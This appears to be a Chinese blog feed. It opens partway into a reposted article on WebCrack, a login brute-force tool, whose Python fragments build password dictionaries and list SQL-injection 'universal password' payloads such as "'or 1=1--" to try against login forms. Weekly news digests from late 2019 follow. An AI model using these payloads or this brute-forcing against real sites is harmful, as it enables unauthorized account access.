class="keyword">continue</span></span><br><span class="line"> tmp_dic.append(list3)</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> tmp_dic:</span><br><span class="line"> <span class="keyword">for</span> suffix <span class="keyword">in</span> suffix_dic:</span><br><span class="line"> u = i + suffix</span><br><span class="line"> dynam_pass_dic.append(u)</span><br><span class="line"> <span class="keyword">return</span> dynam_pass_dic</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">''</span></span><br></pre></td></tr></table></figure><p>如果输入的是一个 IP,则返回一个空的列表。</p><h2 data-number="3.4" id="万能密码"><span class="header-section-number">3.4</span> 万能密码</h2><p>除了弱口令以外,还可能存在万能密码的漏洞,WebCrack中添加了一些常用的payload用来检测是否存在万能密码的漏洞。(缺陷:可能会被WAF拦截)</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">exp_user_dic = [<span class="string">"admin' or 'a'='a"</span>, <span class="string">"'or'='or'"</span>, <span class="string">"admin' or '1'='1' or 1=1"</span>, <span class="string">"')or('a'='a"</span>, <span class="string">"'or 1=1--"</span>]</span><br><span class="line">exp_pass_dic = exp_user_dic</span><br><span class="line"></span><br><span class="line"><span class="comment"># ...</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> exp_able:</span><br><span class="line"> user_dic=exp_user_dic</span><br><span class="line"> pass_dic=exp_pass_dic</span><br><span class="line"> print(<span class="string">'Exp_dic is trying'</span>)</span><br><span class="line"> user_name, pass_word = crack_task( path, data, user_dic, pass_dic,user_key,pass_key,cms_id)</span><br><span class="line"> <span class="keyword">if</span> user_name:</span><br><span class="line"> print(<span class="string">"Rechecking......"</span>,url, user_name, pass_word)</span><br><span class="line"> recheck_flag = recheck(path, data, user_name, pass_word)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> recheck_flag = <span class="number">0</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> recheck_flag = <span class="number">0</span></span><br></pre></td></tr></table></figure><h2 data-number="3.5" id="验证码"><span class="header-section-number">3.5</span> 验证码</h2><p>这部分自动化完成比较困难,这里只提供了一个简单的解决方案</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">captchas = [<span class="string">'验证码'</span>, <span class="string">'验 证 码'</span>,<span class="string">'点击更换'</span>, <span class="string">'点击刷新'</span>,<span class="string">'看不清'</span>,<span class="string">'认证码'</span>,<span class="string">'安全问题'</span>]</span><br><span class="line"><span class="keyword">if</span> cms_id <span class="keyword">and</span> cms[cms_id][<span class="string">'captcha'</span>] == <span class="number">1</span>:</span><br><span class="line"> print(<span class="string">"[-] captcha in login page: "</span> + url + <span class="string">'\n'</span>,time.strftime(<span class="string">'%Y-%m-%d %X'</span>, time.localtime(time.time())))</span><br><span class="line"> <span class="keyword">with</span> open(log_file, <span class="string">'a+'</span>) <span class="keyword">as</span> log:</span><br><span class="line"> log.write(<span class="string">"[-] captcha in login page: "</span> + url + <span class="string">'\n'</span>)</span><br><span class="line"> <span class="keyword">return</span> <span class="string">''</span>,<span class="string">''</span>,<span class="string">''</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> cms_id :</span><br><span class="line"> <span class="keyword">for</span> captcha <span class="keyword">in</span> captchas:</span><br><span class="line"> <span class="keyword">if</span> captcha <span class="keyword">in</span> html:</span><br><span class="line"> print(<span class="string">"[-]"</span> + captcha + <span class="string">" in login page: "</span> + url + <span class="string">'\n'</span>,time.strftime(<span class="string">'%Y-%m-%d %X'</span>, time.localtime(time.time())))</span><br><span class="line"> <span class="keyword">with</span> open(log_file, <span class="string">'a+'</span>) <span class="keyword">as</span> log:</span><br><span class="line"> log.write(<span class="string">"[-]"</span> + captcha + <span class="string">" in login page: "</span> + url + <span class="string">'\n'</span>)</span><br><span class="line"> <span class="keyword">return</span> <span class="string">''</span>,<span class="string">''</span>,<span class="string">''</span></span><br></pre></td></tr></table></figure><hr><p>因为通用型爆破,可能无法做到百分百准确,可以修改配置文件来更符合你的需求。(出现sql错误信息可能存在post注入的情况无法进行爆破)二向箔安全 最近开放了一系列免费的网络安全技能包,通过学习技能不断提升自我能力,在网络安全的世界中不断闯关升级。</p>]]></content>
<summary type="html">
<p>这是一篇转载的文章。文章来源是:<a href="https://zhuanlan.zhihu.com/p/89205738" target="_blank" rel="noopener">https://zhuanlan.zhihu.com/p/89205738</a><
</summary>
<category term="黑客" scheme="http://www.codewoody.com/categories/%E9%BB%91%E5%AE%A2/"/>
<category term="linux" scheme="http://www.codewoody.com/tags/linux/"/>
<category term="转载" scheme="http://www.codewoody.com/tags/%E8%BD%AC%E8%BD%BD/"/>
<category term="黑客" scheme="http://www.codewoody.com/tags/%E9%BB%91%E5%AE%A2/"/>
</entry>
<entry>
<title>Weekly-28</title>
<link href="http://www.codewoody.com/posts/5934/"/>
<id>http://www.codewoody.com/posts/5934/</id>
<published>2019-12-30T04:52:05.000Z</published>
<updated>2020-01-08T02:53:46.994Z</updated>
<content type="html"><![CDATA[<h1 data-number="1" id="新闻"><span class="header-section-number">1</span> 新闻</h1><h2 data-number="1.1" id="伊朗将军与伊拉克被美军空袭杀死"><span class="header-section-number">1.1</span> 伊朗将军与伊拉克被美军空袭杀死</h2><p><img src="https://imgs.codewoody.com/uploads/big/77513bce2484c6ab38127447a5093c02.jpg"></p><p>伊拉克国家电视台确认,在美军对巴格达机场的空袭中,伊朗「圣城军」领导人卡西姆·苏莱曼尼少将,伊拉克人民动员委员会副委员长马赫迪·穆罕迪斯,人民动员委员会公共关系主任Muhammad Ridha Al-Jabri全部遇害。</p><p>空袭的命令由特朗普发出,且并未经过国会的同意。</p><p>伊朗事实上的最高军衔是少将,苏莱曼尼少将在伊朗地位超然,直接听命于霍梅尼。</p><p>1 月 5 日,伊朗宣布退出核协议,将不再遵守其与世界大国在2015年签署的核协议中的承诺,这标志着伊核协议形同崩溃。这是可以预见到的必然结果。不过之前美国已经退出了伊朗核协议。<a href="http://www.ftchinese.com/story/001085786" target="_blank" rel="noopener">source</a>。以此为契机伊朗退出核协议,可以说从道义上来讲无可指摘了。</p><h2 data-number="1.2" id="日产前ceo戈恩出逃日本"><span class="header-section-number">1.2</span> <a href="https://www.zhihu.com/question/364152986" target="_blank" rel="noopener">日产前CEO戈恩出逃日本</a></h2><p>此前被日本警方逮捕的全球车坛传奇人物,日产汽车前 CEO 卡洛斯·戈恩(Carlos Ghosn)目前已潜逃出境,成功抵达黎巴嫩老家!</p><p>2018 年 11 月,戈恩被日本警方逮捕,在东京拘留所被羁押了 108 天。2019 年 3 月 6 日,日本检方裁定戈恩以 10 亿日元保释金的代价出狱,高额的保释金令当时的日本舆论侧目。而后戈恩虽然又再次被逮捕,但在 2019 年 4 月 25 日得以保释,并被限制出境。</p><p>虽然戈恩被成功保释,但他在日本的住所依然被警方严密包围监视着。因此戈恩的日方辩护律师认为,潜逃行动需要“很大规模的组织配合”。</p><p>据黎巴嫩当地电视台 MTV 报道,戈恩是在一个圣诞乐队访问他的家后,藏在一个尺寸超大的乐器盒中逃离了日本。</p><p>1 月 2 日,土耳其警方拘留了七人,包括四名飞行员。这七人涉嫌协助戈恩出逃日本,经过土耳其抵达黎巴嫩。<a href="https://cn.reuters.com/article/ntv-turkey-police-ghosn-0102-idCNKBS1Z10LD?feedType=RSS&feedName=CNTopGenNews" target="_blank" rel="noopener">source</a>。同一天,贝鲁特方面证实,国际刑警组织(Interpol)已向黎巴嫩发出“红色通缉令”,请求该国逮捕卡洛斯•戈恩。但是国际刑警组织又声明:“每个国家自行决定红色通缉令在其境内的法律价值。”<a href="http://www.ftchinese.com/story/001085770" target="_blank" rel="noopener">source</a></p><p><a href="http://www.ftchinese.com/story/001085784" target="_blank" rel="noopener">FT 的报道</a>显示出事情中内有更多玄机。报道中提到,戈恩在日本的律师高野隆(Takashi Takano)在博客中表示,当他得知戈恩逃离日本时,他感到愤怒。但高野隆随后对日本的司法体系进行了直言不讳的批评:“我遭到了背叛,但背叛我的不是卡洛斯•戈恩,”他写道。另一方面,报道中还提到:</p><blockquote><p>知情人士提供的越来越多的证据表明,在这位富豪出逃的前几天,政府和私人机构对他的监视级别有所下降。</p><p>知情人士表示,戈恩的弃保潜逃之旅——核心环节是搭乘私人飞机从大阪飞往伊斯坦布尔——开始时,他只是戴着帽子和口罩从其在东京租住的房子内走出来。他似乎没有被警察、检察官或私家侦探跟踪。</p></blockquote><p>这与之前广为流传的戈恩出逃细节有一定的差异。在之前流传的版本中,戈恩是藏身于乐队的箱子之中离开在东京的住宅,但是这篇报道却说戈恩是简单乔装以后自己走出的住宅,且这位富豪出台的前几天,日本对其监视级别有所下降。如果FT的报道为真,那么戈恩的出逃很可能得到了日本方面的配合。</p><p>1 月 7 日,观察者网援引 6 日《华尔街日报》的报道,也验证了这一说法:根本就没有乐队上门,前日产雷诺公司董事长卡洛斯·戈恩是大摇大摆的走出家门,乘坐新干线、再转乘出租车,藏身于一个超大号的黑色箱子中逃避安检,最终成功逃往黎巴嫩。<a href="https://m.guancha.cn/internation/2020_01_07_530707.shtml" target="_blank" rel="noopener">source</a></p><p>1 月 7 日,东京检方对戈恩的太太发出逮捕令。<a href="http://www.ftchinese.com/story/001085826?exclusive" target="_blank" rel="noopener">source</a></p><h2 data-number="1.3" id="台湾军方直升机迫降意外多名将官死亡"><span class="header-section-number">1.3</span> <a href="http://www.bbc.com/zhongwen/simp/chinese-news-50970359" target="_blank" rel="noopener">台湾军方直升机迫降意外,多名将官死亡</a></h2><p>台湾空军一架UH-60M黑鹰直升机,今天(1月2日)上午在新北市乌来山区发生迫降意外,机上8人死亡,另外有5人生还。机上有多名高级指挥官包括罹难的参谋总长沈一鸣。参谋总长台湾军中职位最高的职务,沈一鸣是台湾有史以来因公殉职的最高级别将领。</p><p>台湾国防部向媒体表示,1月2日上午7时50分,参谋总长沈一鸣等人搭乘黑鹰直升机从台北前往宜兰东澳进行春节慰勉,但因不明原因迫降在新北市山区。</p><p>空军司令熊厚基表示,全机共13人,包括正驾驶、副驾驶及机工长。 上午7时54分,飞机从台北松山区起飞,原定8时20分抵达目的地,但8时7分消失在新北市乌来山区。</p><h2 data-number="1.4" id="基因编辑婴儿案事主被判3年"><span class="header-section-number">1.4</span> 基因编辑婴儿案事主被判3年</h2><p>中国“免疫艾滋病基因编辑婴儿”事件在司法层面落幕,主导研究的贺建奎被深圳法院判处三年有期徒刑。</p><h2 data-number="1.5" id="武汉发现多起不明原因肺炎病例"><span class="header-section-number">1.5</span> 武汉发现多起不明原因肺炎病例</h2><p>武汉市卫生健康委员会医政医管处发布《关于做好不明原因肺炎救治工作的紧急通知》。通知称,武汉市部分医疗机构陆续出现不明原因肺炎病人。通知要求各医疗机构要及时追踪统计救治情况,并按要求及时上报。目前,国家卫健委专家组已抵达武汉,正展开相关检测核实工作。<a href="https://www.zhihu.com/pin/1195302979551727616" target="_blank" rel="noopener">source</a></p><p>中国中央电视台(CCTV)周二最新报导称,武汉发现病毒性肺炎病例大部分为海鲜城经营户,目前相关病毒分型检测、隔离治疗、终末消毒等工作正在进行。</p><p>“央视新闻”微博报导称,据湖北省相关部门消息,12月以来,武汉市持续开展流感及相关疾病监测,发现病毒性肺炎病例27例,均诊断为病毒性肺炎/肺部感染。其中七例病情危重,其余病例病情可控,两例病情好转拟近期出院。 昨日,武汉市卫生健康委员会医政医管处发布《关于做好不明原因肺炎救治工作的紧急通知》称,武汉市部分医疗机构陆续出现不明原因肺炎病人。通知要求各医疗机构要及时追踪统计救治情况,并按要求及时上报。</p><p>根据央视稍早报导,目前国家卫健委专家组已抵达武汉,正展开相关检测核实工作。<a href="https://cn.reuters.com/article/cctv-china-wuhan-dis-1231-idCNKBS1YZ093" target="_blank" rel="noopener">source</a></p><h2 data-number="1.6" id="中俄伊三国联合军演"><span class="header-section-number">1.6</span> <a href="https://www.bbc.com/zhongwen/simp/world-50923924" target="_blank" rel="noopener">中俄伊三国联合军演</a></h2><p>中国国防部周四表示,中国、伊朗、俄罗斯在本周五举行联合军事演习,演习地点在印度洋北部的阿曼湾。演习将持续四天。<strong>这是三国40年来首次举行联合军演</strong>。</p><p>国防部新闻发言人吴谦说,“中国将派西宁号导弹驱逐舰参加,此次演习旨在深化三国海军之间的交流合作。展示三方共同维护世界和平与海上安全,积极构建‘海洋命运共同体’的良好意愿和能力。”</p><p>阿曼湾是非常敏感的战略航道,它与霍尔姆斯海峡相连,全球约五分之一的石油通过阿曼湾和霍尔姆斯海峡运输。</p><p>以下内容来自布热津斯基的《大棋局》<a href="https://www.zhihu.com/question/347254034/answer/956027963" target="_blank" rel="noopener">source</a></p><blockquote><p>一些俄国评论家猜测,普里马科夫的倾向可能会促成一个以三个在削弱美国在欧亚大陆首要地位问题上有最大地缘政治利益的大国为核心的新的“反霸”联盟。普里马科夫上台伊始的几次出访及讲话加深了这一印象。而且现有的中国与伊朗的武器贸易关系,以及俄国愿与伊朗合作加快其获得核能源的倾向,与更紧密的政治对话和最终的结盟是完全符合的。这一结果至少在理论上可以把世界上最主要的斯拉夫大国、世界上最好战的伊斯兰大国及世界上人口最多力量最强的亚洲大国结合在一起,形成一个强有力的联盟。</p><p>且现有的中国与伊朗的武器贸易关系,以及俄国愿与伊朗合作加快其获得核能源的倾向,与更紧密的政治对话和最终的结盟是完全符合的。这一结果至少在理论上可以把世界上最主要的斯拉夫大国、世界上最好战的伊斯兰大国及世界上人口最多力量最强的亚洲大国结合在一起,形成一个强有力的联盟。</p><p><strong>但是,只有在美国十分短视地同时对中国和伊朗采取敌视政策时,把俄国与 中国及伊朗结合在一起的联盟才能搞得起来。这样的结局当然不能排除</strong></p></blockquote><h2 data-number="1.7" id="其他"><span class="header-section-number">1.7</span> 其他</h2><h3 data-number="1.7.1" id="国内"><span class="header-section-number">1.7.1</span> 国内</h3><ul><li>国家市场监督管理总局令第21号:《药品、医疗器械、保健食品、特殊医学用途配方食品广告审查管理暂行办法》已于2019年12月13日经国家市场监督管理总局2019年第16次局务会议审议通过,现予公布,自2020年3月1日起施行。</li><li>中国成都秋雨圣约教会主任牧师王怡被当局关押一年多后,周一(12月30日)因煽动颠覆国家政权罪和非法经营罪获刑9年,没收财产5万元。<a href="http://www.bbc.com/zhongwen/simp/chinese-news-50948041" target="_blank" rel="noopener">source</a></li><li>中国最大的钾肥生产商青海盐湖工业股份有限公司「被迫」在淘宝上拍卖原价值超过 25 亿美元的资产和股票,以免明年从深圳证券交易所退市。<a href="http://www.ftchinese.com/story/001085729" target="_blank" rel="noopener">source</a></li><li>香港「法轮功」组织一号人物简鸿章病亡。<a href="https://www.guancha.cn/politics/2019_12_30_530001.shtml" target="_blank" rel="noopener">source</a></li><li>台湾通过《反渗透法》。<a href="http://www.ftchinese.com/story/001085736" target="_blank" rel="noopener">source</a></li><li>李铁正式出任中国男足主帅。<a href="https://www.zhihu.com/question/364292914" target="_blank" rel="noopener">source</a></li><li>长江所专家正式宣告,「中国淡水鱼之王」长江白鲟已经与2005-2010年间灭绝。<a href="https://www.zhihu.com/question/364374536" target="_blank" rel="noopener">source</a></li><li>香港中联办主任王志民被免职,骆惠宁被任命为新的香港中联办主任。<a href="https://www.dw.com/zh/香港中联办主任换人-此次任命有别以往?/a-51887297?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li></ul><h3 data-number="1.7.2" id="国际"><span class="header-section-number">1.7.2</span> 国际</h3><ul><li>从 2020 年 1 月起的一年内,中国和印度的游客将享有免签证入境大马的便利,逗留期最长为15天。游客必须在相关移民局电子系统内登记注册,并持有往返本国或去往第三国机票及足够的资金。</li><li>特朗普称中美将在 1 月 15 日签第一阶段协议。<a href="http://www.bbc.com/zhongwen/simp/chinese-news-50961250" target="_blank" rel="noopener">source</a></li><li>在上一次登月失败之后,印度再接再厉,计划于2020年实施第三次登月任务(「月船三号」)。载人航天飞行计划则将于2021年下半年实施。<a href="https://www.dw.com/zh/印度批准-月船三号-登月计划/a-51852258?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li><li>驻伊拉克大使馆遇袭以后,美国向中东增派 750 名士兵。<a href="https://www.dw.com/zh/驻伊拉克大使馆遇袭后,美国向中东增兵/a-51850932?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li><li>太平洋岛国帕劳成为全球首个禁用防晒霜的国家,理由是对珊瑚和海洋生物有害。<a href="http://www.bbc.com/zhongwen/simp/chinese-news-50972489" target="_blank" rel="noopener">source</a></li><li>美国海军和陆军禁止士兵使用 Tik Tok (抖音海外版)。<a href="https://www.dw.com/zh/视tiktok为网络威胁-美海陆军相继发禁令/a-51886782?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li><li>印尼洪水泛滥成灾,死亡人数已经升至60人。数万人无家可归。<a href="https://www.dw.com/zh/印尼洪水泛滥-数万人无家可归/a-51887384?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li><li>中国留学生在美国机场因带癌细胞样品出境被抓。<a href="https://www.zhihu.com/question/364679571" target="_blank" rel="noopener">source</a></li></ul><h3 data-number="1.7.3" id="科技"><span class="header-section-number">1.7.3</span> 科技</h3><ul><li>Nvidia 公司的 CUDA 计算平台将不再支持 Mac。<a href="https://gizmodo.com/apple-and-nvidia-are-over-1840015246" target="_blank" rel="noopener">source</a></li></ul>]]></content>
<summary type="html">
<p><img src="https://imgs.codewoody.com/uploads/big/77513bce2484c6ab38127447a5093c02.jpg"></p>
</summary>
<category term="Weekly" scheme="http://www.codewoody.com/categories/Weekly/"/>
<category term="杂谈" scheme="http://www.codewoody.com/tags/%E6%9D%82%E8%B0%88/"/>
<category term="科技新闻" scheme="http://www.codewoody.com/tags/%E7%A7%91%E6%8A%80%E6%96%B0%E9%97%BB/"/>
<category term="转载" scheme="http://www.codewoody.com/tags/%E8%BD%AC%E8%BD%BD/"/>
<category term="Weekly" scheme="http://www.codewoody.com/tags/Weekly/"/>
</entry>
<entry>
<title>Weekly-27</title>
<link href="http://www.codewoody.com/posts/4972/"/>
<id>http://www.codewoody.com/posts/4972/</id>
<published>2019-12-24T03:09:42.000Z</published>
<updated>2020-01-13T05:03:20.152Z</updated>
<content type="html"><![CDATA[<h1 data-number="1" id="新闻"><span class="header-section-number">1</span> 新闻</h1><h2 data-number="1.1" id="长征五号发射成功"><span class="header-section-number">1.1</span> <a href="http://www.xinhuanet.com/2019-12/27/c_1125397145.htm" target="_blank" rel="noopener">长征五号发射成功</a></h2><p>12月27日20时45分,长征五号遥三运载火箭在中国文昌航天发射场点火升空,2000多秒后,与实践二十号卫星成功分离,将卫星送入预定轨道,任务取得圆满成功,这是长征系列运载火箭第323次发射。</p><p><img src="https://imgs.codewoody.com/uploads/big/cf4c99ff2d5e5a8d7c77bf088dab3b01.jpg"></p><h2 data-number="1.2" id="印巴在克什米尔交火"><span class="header-section-number">1.2</span> <a href="https://world.huanqiu.com/article/9CaKrnKmebY" target="_blank" rel="noopener">印巴在克什米尔交火</a></h2><p>12月26日,巴基斯坦三军公共关系局称,印度军队过去36小时内在克什米尔控制线沿线多次违反停火协议。作为回应,巴军在哈吉皮尔山口摧毁一处印军哨所并击毙5名印士兵,3名巴士兵阵亡。印军方称,巴军违反停火协议,在巴拉穆拉地区向印方开火,造成印1名士兵和1名平民丧生。</p><h2 data-number="1.3" id="波音ceo被解雇"><span class="header-section-number">1.3</span> <a href="https://www.nytimes.com/2019/12/23/business/Boeing-ceo-muilenburg.html" target="_blank" rel="noopener">波音CEO被解雇</a></h2><p><img src="https://imgs.codewoody.com/uploads/big/2aab3470d4911ab3b818429f4032f264.jpg"></p><p>波音解雇了 CEO Dennis Muilenburg,资深董事 David Calhoun 将从 1 月 13 日起接替 CEO 一职。工程师出身的 Muilenburg 在波音公司度过他的整个职业生涯,但受到广泛批评,被指对造成 346 人死亡的两起波音 737 Max 坠机事件做出犹豫不决和被动的反应。董事会表示,它意识到有必要改善沟通,尤其是与该公司的国内监管机构联邦航空管理局(FAA)的沟通。在辞职前,Muilenburg 一直坚称 737 Max 将在年底前复飞,但这一时间表被认为是不切实际的,遭到了 FAA 的公开批评。 737 Max 最早可能会在明年初复飞。</p><h2 data-number="1.4" id="沙特卡舒吉案五名沙特人被判死刑"><span class="header-section-number">1.4</span> <a href="https://www.dw.com/zh/卡舒吉之死:5名沙特人判死刑/a-51781538?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">沙特卡舒吉案五名沙特人被判死刑</a></h2><p>异见记者卡舒吉2018年在沙特驻伊斯坦布尔领馆内遇害。沙特检方判处5人死刑、3人监禁,均可提出上诉。联合国特别报告员批评幕后真凶逍遥法外。</p><p>2018年10月11日,土耳其警方通报美国方面称已掌握足够的证据证明贾迈勒·卡舒吉在10月2日进入沙特驻伊斯坦布尔领事馆时被沙特的特工所杀并分尸,之后尸体组织被转移。沙特政府曾一度否认此事,并称贾迈勒·卡舒吉当天就走出了领事馆,同月20日,沙特检察机关承认其已在馆内身亡,死亡的原因是与使馆人员发生争执而导致的肢体冲突。2019年6月19日,联合国特别报告员(United Nations special rapporteur)卡拉马德(Agnes Callamard)公布卡舒吉遇害案的调查报告。报告认为沙特王储穆罕默德·本·萨勒曼·本·阿卜杜勒-阿齐兹·阿勒沙特与此案有关联,应受到调查和制裁。<a href="https://zh.wikipedia.org/wiki/%E8%B3%88%E9%82%81%E5%8B%92%C2%B7%E5%8D%A1%E8%88%92%E5%90%89" target="_blank" rel="noopener">source</a></p><blockquote><p>现在全世界都知道卡舒吉案的幕后黑手是谁,但是谁也奈何不了这位沙特王储。</p></blockquote><h2 data-number="1.5" id="首例未婚冻卵引发的一般人格纠纷案开庭"><span class="header-section-number">1.5</span> <a href="https://www.zhihu.com/question/362537424" target="_blank" rel="noopener">首例未婚冻卵引发的一般人格纠纷案开庭</a></h2><p>今日(12月23日)上午,朝阳法院对外通报,全国首例因“冷冻卵子”而引发的一般人格权纠纷在北京市朝阳区人民法院公开开庭审理。</p><p>根据通报,31岁的原告徐女士,曾于2018年12月10日,向北京某医院提出冻卵需求。北京某医院依据《人类辅助生殖技术规范》相关规定,认为徐女士的情况不符合我国现行相关规范要求,拒绝了徐女士的请求。徐女士遂以受到歧视,侵害人格权为由诉至法院,要求医院提供冻卵服务,并承担诉讼费用。</p><p>当天上午,原告徐女士本人及其代理律师,被告北京某医院委托代理人到庭。部分新闻媒体记者旁听了案件审理。庭审过程中,双方各自陈述了诉辩意见,法庭主持双方进行了举证质证。庭审持续了约1小时,法庭宣布休庭。</p><h2 data-number="1.6" id="其他"><span class="header-section-number">1.6</span> 其他</h2><h3 data-number="1.6.1" id="国内"><span class="header-section-number">1.6.1</span> 国内</h3><ul><li>12 月 26 日公布的《最高人民法院关于修改<关于民事诉讼证据的若干规定>的决定》,今后微信微博聊天记录可以作为打官司的证据。<a href="https://www.williamlong.info/archives/5931.html" target="_blank" rel="noopener">source</a></关于民事诉讼证据的若干规定></li><li>因不满汇丰银行「按照国际监管标准」关闭所谓支援暴徒组织的 7000 万港币账户,一群黑衣人于旺角汇丰银行外聚集,破坏银行设施并试图纵火。<a href="https://t.me/KatyushaUnion/797" target="_blank" rel="noopener">source</a></li><li>《基本医疗卫生与健康促进法》28 日经过全国人大常委会表决通过,将于 2020 年 6 月 1 日开始实施。该法案是我国卫生健康领域内的第一部基础性、综合性的法律。其中明确规定:禁止任何组织和个人威胁、危害医疗卫生人员人身安全,侵犯医疗卫生人员人格尊严。<a href="http://www.npc.gov.cn/npc/c33559/201912/167b72ed38a54b1c988650b98deb34cb.shtml" target="_blank" rel="noopener">source</a></li><li>恒丰银行前董事长姜喜运被判处死缓。<a href="http://www.ftchinese.com/story/001085701" target="_blank" rel="noopener">source</a></li><li>2019年12月28日,十三届全国人大常委会第十五次会议通过了《全国人民代表大会常务委员会关于废止有关收容教育法律规定和制度的决定》,自2019年12月29日起施行。该决定废止了《全国人民代表大会常务委员会关于严禁卖淫嫖娼的决定》第四条第二款、第四款,以及据此实行的收容教育制度。同时决定还明确规定,在收容教育制度废止前,依法作出的收容教育决定有效;收容教育制度废止后,对正在被依法执行收容教育的人员,解除收容教育,剩余期限不再执行。</li><li>《中华人民共和国证券法》已由中华人民共和国第十三届全国人民代表大会常务委员会第十五次会议于2019年12月28日修订通过,自2020年3月1日起施行。据中国证监会法律部主任程合红,在国务院证券监督管理机构依照法定条件负责证券发行申请注册的基础上,<strong>取消发行审核委员会制度</strong>。</li></ul><h3 data-number="1.6.2" id="国际"><span class="header-section-number">1.6.2</span> 国际</h3><ul><li>俄罗斯一架苏-57战机试飞时在远东坠毁。<a href="https://cn.reuters.com/article/russia-uac-su57-crash-1225-idCNKBS1YT02C?feedType=RSS&feedName=CNTopGenNews" target="_blank" rel="noopener">source</a></li><li>哈萨克斯坦一架载有 100 人的客机坠毁,已有 12 人死亡。<a href="https://cn.reuters.com/article/kazakhstanplan-crash-1227-idCNKBS1YV0A6?feedType=RSS&feedName=CNTopGenNews" target="_blank" rel="noopener">source</a></li><li>土耳其称受到利比亚民族团结政府邀请,将派遣军队进入利比亚干涉利比亚内战。派遣军队的议案将会在1月8日的土耳其议会中提交。获得国际社会认可的利比亚民族团结政府,陷入了与叛军指挥官哈利法•哈夫塔尔(Khalifa Haftar)领导的“国民军”(Libyan National Army)的权力斗争,后者占领了该国石油资源丰富的东部。<a href="http://www.ftchinese.com/story/001085698?full=y" target="_blank" rel="noopener">source</a></li><li>IS 宣布对布基纳法索军事基地袭击事件负责。24日,一名该组织的成员驾驶车辆冲入布基纳法索北部苏姆省一处军事基地,引爆了车上的炸弹,造成7名士兵身亡,多人受伤。</li><li>越南 2019 年 GDP 增长 7.02%。</li></ul><h3 data-number="1.6.3" id="科技"><span class="header-section-number">1.6.3</span> 科技</h3><ul><li>百度发布 2019 年搜索排行榜。<a href="https://www.williamlong.info/archives/5924.html" target="_blank" rel="noopener">source</a></li><li>《柳叶刀》首发中文论文:谭文斐《给父亲的一封信》。<a href="https://www.cnbeta.com/articles/tech/926209.htm" target="_blank" rel="noopener">source</a></li><li>特斯拉已从一家由政府支持的中国银行组成的财团获得了112.5亿元人民币(合16亿美元)的廉价新融资。目前,特斯拉的上海超级工厂正加紧生产其面向大众市场的Model 3轿车。<a href="http://www.ftchinese.com/story/001085703" target="_blank" rel="noopener">source</a></li><li>12 月 20 日波音公司 Starliner 飞船发射成功,但是无法对接国际空间站。<a href="https://www.zhihu.com/question/362067335/answer/944951502" target="_blank" rel="noopener">source</a></li></ul><h1 data-number="2" id="资源与文章"><span class="header-section-number">2</span> 资源与文章</h1><h2 data-number="2.1" id="王孟源-2019年的回顾与前瞻"><span class="header-section-number">2.1</span> 王孟源: 2019年的回顾与前瞻</h2><iframe width="560" height="315" src="https://www.youtube.com/embed/tpLZZ3KI1qk" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>]]></content>
<summary type="html">
<p><img src="https://imgs.codewoody.com/uploads/big/cf4c99ff2d5e5a8d7c77bf088dab3b01.jpg"></p>
</summary>
<category term="Weekly" scheme="http://www.codewoody.com/categories/Weekly/"/>
<category term="杂谈" scheme="http://www.codewoody.com/tags/%E6%9D%82%E8%B0%88/"/>
<category term="科技新闻" scheme="http://www.codewoody.com/tags/%E7%A7%91%E6%8A%80%E6%96%B0%E9%97%BB/"/>
<category term="转载" scheme="http://www.codewoody.com/tags/%E8%BD%AC%E8%BD%BD/"/>
<category term="Weekly" scheme="http://www.codewoody.com/tags/Weekly/"/>
</entry>
<entry>
<title>Weekly-26</title>
<link href="http://www.codewoody.com/posts/54189/"/>
<id>http://www.codewoody.com/posts/54189/</id>
<published>2019-12-15T17:24:21.000Z</published>
<updated>2019-12-30T04:37:59.240Z</updated>
<content type="html"><![CDATA[<h1 data-number="1" id="新闻"><span class="header-section-number">1</span> 新闻</h1><h2 data-number="1.1" id="第一艘国产航母山东号交付"><span class="header-section-number">1.1</span> <a href="http://www.xinhuanet.com/politics/2019-12/17/c_1125357773.htm" target="_blank" rel="noopener">第一艘国产航母山东号交付</a></h2><p>12 月 17 日,中国第一艘 002 型国产航空母舰17日下午在海南三亚某军港交付海军。中共中央总书记、国家主席、中央军委主席习近平出席交接入列仪式。经中央军委批准,我国第一艘国产航母命名为“中国人民解放军海军山东舰”,舷号为“17”。中央和国家机关有关部门、军委机关有关部门、南部战区、海军、海南省以及航母建设单位的负责同志参加仪式。</p><p>山东号于 2017 年 4 月 26 日下水,2018 年 5 月 13 日海试,2019 年 12 月 17 日正式入列。有意思的是,1888年 12 月 17 日,清光绪十四年冬月十五,北洋水师于山东威海卫刘公岛正式成立。</p><p><img src="https://imgs.codewoody.com/uploads/big/e9118c69c55d30fb0abeb50ca721b2f9.jpg"></p><p><img src="https://imgs.codewoody.com/uploads/big/c5c45498fac9590c6272fe3139667d6a.jpg"></p><h2 data-number="1.2" id="美国众议院通过特朗普弹劾案"><span 